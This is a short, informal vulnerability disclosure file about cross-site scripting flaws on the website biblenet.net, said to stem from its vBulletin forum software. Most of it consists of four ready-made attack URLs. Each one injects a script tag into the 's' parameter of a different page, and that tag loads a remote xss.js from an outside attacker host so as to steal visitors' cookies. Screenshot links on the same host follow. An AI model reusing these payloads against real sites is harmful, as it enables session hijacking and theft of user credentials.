biblenet.txt

`Biblenet.net  
  
Homepage:  
http://www.biblenet.net  
  
Affected files:  
gettinginvolved.html  
register.php  
member.php  
/library/index.html  
-----------------------------------------  
  
Biblespace uses vBulletin for most of their site, so most of these vulns are based in the vbulletin site themselves, which others have probably found before.  
  
XSS vuln with cookie disclosure via gettingInvolved.html:  
  
http://www.biblenet.net/gettingInvolved.html?s=">">">">">"><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT><"<"<"<"  
  
XSS vuln with cookie disclosure via register.php:  
http://www.biblenet.net/forums/register.php?s=\\">">">">">"><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT><"<"<"<"&action=signup  
  
  
XSS vuln with cookie disclosure via member.php when editing profile, this time after we've logged in:  
  
http://www.biblenet.net/forums/member.php?action=editprofile&s=">">">">'>'>'><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT><"<"<"<'<'  
  
Same XSS vuln above, this time on /library/index.html:  
http://www.biblenet.net/library/index.html?s=questions">">">">">"><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT><"<"<"<"  
  
Screenshots:  
http://www.youfucktard.com/xsp/biblespace1.jpg  
http://www.youfucktard.com/xsp/biblespace2.jpg  
http://www.youfucktard.com/xsp/biblespace3.jpg  
`